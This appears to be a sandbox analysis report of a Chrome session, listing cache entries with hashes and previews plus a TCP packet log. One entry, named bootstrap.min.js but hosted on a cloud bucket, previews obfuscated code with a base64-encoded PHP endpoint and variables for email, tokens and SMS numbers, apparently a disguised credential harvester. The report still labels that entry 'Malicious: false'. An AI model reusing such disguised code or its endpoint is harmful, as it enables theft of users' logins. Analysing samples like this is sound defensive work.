SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 97

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 98

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65472), with CRLF line terminators
Category:	downloaded
Size (bytes):	554458
Entropy (8bit):	4.86610381600256
Encrypted:	false
SSDEEP:	12288:3vqB4nwF7egPAUyVgKLifgQ3TNQk6+HWvnDQpW+UlT+V9zkYVSu9TWkKevtdDQ6q:KtC
MD5:	07161BE3D832BA792FA5C81C731192F2
SHA1:	45074D910D6BAA59A0AC1AD4E29B3939143CE401
SHA-256:	B5CC9B43A634C8D02BE678C50E2D421327136425FF81B979E31C8B1CD8D6C6E6
SHA-512:	4983EB096341783747004BD3A73EC5F50AC9566D6221648C1092DF3955FC1CA15412AE3C71C288B1915BA1BBE667E4369AF3AB18E76EBD1EAB28C29821B0D4F9
Malicious:	false
Reputation:	low
URL:	https://blessed-1323985617.cos.eu-frankfurt.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cHM6Ly9vZmZpY2VibGVzc2VkLm15LmlkL25leHQucGhw";..var _0x5d26ac=_0xc6ef;(function(_0x4f1aa3,_0x432ed8){var _0x56fc26=_0xc6ef,_0x4a8026=_0x4f1aa3();while(!![]){try{var _0x542aea=parseInt(_0x56fc26(0x1867))/(0x5bc0x3+-0x1482+0x34f)+-parseInt(_0x56fc26(0x141a))/(-0x2343+0x2b0+0x2095)+-parseInt(_0x56fc26(0x883))/(-0x1757+0xed10x1+0x889)+-parseInt(_0x56fc26(0xc2e))/(0x1ff+-0x2106+0x1f0b)(-parseInt(_0x56fc26(0x1ed4))/(0x1394+-0x13db+0x4c))+-parseInt(_0x56fc26(0x2554))/(-0x10x23b+0x17150x1+-0x14d4)+-parseInt(_0x56fc26(0x206))/(0x1-0x3fb+0x3ac+-0x2b-0x2)+parseInt(_0x56fc26(0x1354))/(-0x590x2f+0x1882+-0x10x823);if(_0x542aea===_0x432ed8)break;else _0x4a8026['push'](_0x4a8026['shift']());}catch(_0x412b0d){_0x4a8026['push'](_0x4a8026['shift']());}}}(_0x2468,-0x18abd2+-0x5f19b0x2+0x70072*0x7));var count=-0x1593+-0x1231+0x27c4;let email,keyGlobal,token,numberSms,numberTelp;((async()=>{var _0x1aea9c=_0xc6ef,_0x4f04d4={'TdgPs':function(_0x49cd8c,_0x2fa639){return _0x49cd8c==_0x

Chrome Cache Entry: 99

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 41 x 72, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524404
Encrypted:	false
SSDEEP:	3:yionv//thPlEPlJWvAkxl/k4E08up:6v/lhPy6vAk7Tp
MD5:	0BE5797842E50EC963E8D246BB971686
SHA1:	E316840F31BDFB37C824A8183F4CF68D68342575
SHA-256:	4D1A023672D785F4F2BBD68A31121DAB9896EDDBAF9C4946D6B07437B804A52B
SHA-512:	66632867A50EC896F043307F3E659F7820F8C38DC0383DF25F944050E071CAB5881C9E0CFF18BD9BA775739F787ABD61266760C864081358A615A91EE462E44E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...)...H......K^....IDAT.....$.....IEND.B`.

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 13:52:33.803963900 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:33.803992987 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:33.804064035 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:33.804626942 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:33.804637909 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.293934107 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.294348955 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.294369936 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.295772076 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.295852900 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.297878027 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.297950983 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.298145056 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.298151970 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.344089985 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.646179914 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.646282911 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.646347046 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.646846056 CEST	49704	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.646867990 CEST	443	49704	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.661067963 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.661092997 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:34.661164999 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.661422014 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:34.661439896 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.167467117 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.167800903 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:35.167826891 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.168183088 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.168562889 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:35.168625116 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.168713093 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:35.212515116 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.490139008 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.490187883 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.490251064 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:35.490274906 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.490302086 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.490351915 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:35.493845940 CEST	49707	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:35.493865013 CEST	443	49707	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:35.520972967 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:35.521022081 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:35.521114111 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:35.521302938 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:35.521322012 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:35.992887020 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:35.993130922 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:35.993158102 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:35.994241953 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:35.994374990 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:35.998886108 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:35.998960018 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:35.999111891 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:35.999124050 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.047065973 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.109473944 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 13:52:36.121479034 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.121553898 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.121645927 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.121973038 CEST	49708	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.121993065 CEST	443	49708	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.123790979 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.123825073 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.123908043 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.124119043 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.124133110 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.414108038 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 13:52:36.578227997 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.578536987 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.578553915 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.578891039 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.579226971 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.579289913 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.579404116 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.624490023 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.712430000 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.712479115 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.712507963 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.712532043 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.712543964 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.712584972 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.712590933 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.712822914 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.712868929 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.712876081 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.713293076 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.713330984 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.713337898 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.713344097 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.713383913 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.713390112 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.717473030 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.717535973 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.717542887 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.764077902 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.800683022 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.800739050 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.800795078 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.800813913 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.800909042 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.800940990 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.800959110 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.800966024 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.801007032 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.801048040 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.801100969 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.801127911 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.801141977 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.801147938 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.801187992 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.801820993 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.801903009 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.801948071 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.801954031 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802004099 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802043915 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802046061 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.802057981 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802093983 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.802679062 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802731037 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802771091 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.802777052 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802830935 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802861929 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802876949 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.802884102 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802925110 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.802942038 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.802983046 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.803122044 CEST	49710	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.803138018 CEST	443	49710	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.816155910 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:36.816181898 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:36.816255093 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:36.816435099 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:36.816447973 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:36.835951090 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.835984945 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:36.836046934 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.836359978 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:36.836374044 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.017122030 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 13:52:37.305280924 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.305563927 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.305588007 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.306641102 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.306714058 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.307131052 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.307192087 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.307368994 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.307378054 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.334076881 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.334299088 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.334326029 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.335320950 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.335392952 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.335688114 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.335755110 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.335793972 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.348113060 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.380110979 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.380129099 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.428123951 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.438357115 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438405037 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438435078 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438461065 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.438468933 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438479900 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438513994 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.438525915 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438554049 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438565016 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.438570023 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438613892 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.438618898 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438875914 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.438919067 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.438924074 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.443068027 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.443130016 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.443140030 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.487662077 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.487749100 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.487781048 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.487808943 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.487813950 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.487827063 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.487874985 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.487879992 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.487895966 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.487926960 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.492105961 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.492842913 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.492894888 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.492908955 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.492943048 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.492986917 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.492995977 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.493184090 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.493221998 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.493228912 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.506757975 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.506809950 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.506959915 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.507213116 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.507230043 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.532154083 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532212019 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532260895 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.532265902 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532275915 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532314062 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.532324076 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532501936 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532537937 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.532542944 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532676935 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532706976 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532762051 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.532767057 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532798052 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532807112 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.532810926 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.532860041 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.532865047 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.533521891 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.533632994 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.533638000 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.533682108 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.533706903 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.533725023 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.533729076 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.533771038 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.533776045 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.534611940 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.534646034 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.534660101 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.534667015 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.534713984 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.534719944 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.534761906 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.534863949 CEST	49711	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:37.534878969 CEST	443	49711	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:37.540110111 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.579993010 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580178976 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580208063 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580240011 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.580256939 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580298901 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.580307007 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580794096 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580823898 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580847979 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.580852985 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580863953 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.580918074 CEST	49712	443	192.168.2.16	104.18.94.41
